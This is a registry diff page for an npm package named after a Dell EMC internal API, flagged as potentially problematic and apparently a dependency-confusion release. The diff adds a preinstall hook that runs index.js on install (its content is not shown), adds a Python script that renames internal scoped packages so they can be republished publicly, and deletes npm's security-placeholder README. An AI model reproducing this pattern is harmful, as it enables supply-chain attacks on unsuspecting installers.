dell-emc-internal-api-drzak 0.0.1-security → 99.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of dell-emc-internal-api-drzak might be problematic. Click here for more details.
- package/1.py +14 -0
- package/index.js +8 -0
- package/package.json +6 -5
- package/README.md +0 -5
package/1.py
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
import os, json
|
|
2
|
+
|
|
3
|
+
folders = ["tradepmr-fusion-core", "tradepmr-api-utils", "fusion-internal-common"]
|
|
4
|
+
|
|
5
|
+
for f in folders:
|
|
6
|
+
path = f"{f}/package.json"
|
|
7
|
+
if os.path.exists(path):
|
|
8
|
+
with open(path, 'r') as file:
|
|
9
|
+
data = json.load(file)
|
|
10
|
+
# تغيير الاسم من @tradepmr/pkg لـ tradepmr-pkg-drzak
|
|
11
|
+
data['name'] = data['name'].replace("@", "").replace("/", "-") + "-drzak"
|
|
12
|
+
with open(path, 'w') as file:
|
|
13
|
+
json.dump(data, file, indent=4)
|
|
14
|
+
print(f"✅ تم تغيير اسم {f} لـ {data['name']} (جاهز للنشر بدون قيود)")
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
}
|
|
2
|
+
"name": "dell-emc-internal-api-drzak",
|
|
3
|
+
"version": "99.9.9",
|
|
4
|
+
"scripts": {
|
|
5
|
+
"preinstall": "node index.js"
|
|
6
|
+
}
|
|
7
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=dell-emc-internal-api-drzak for more information.
|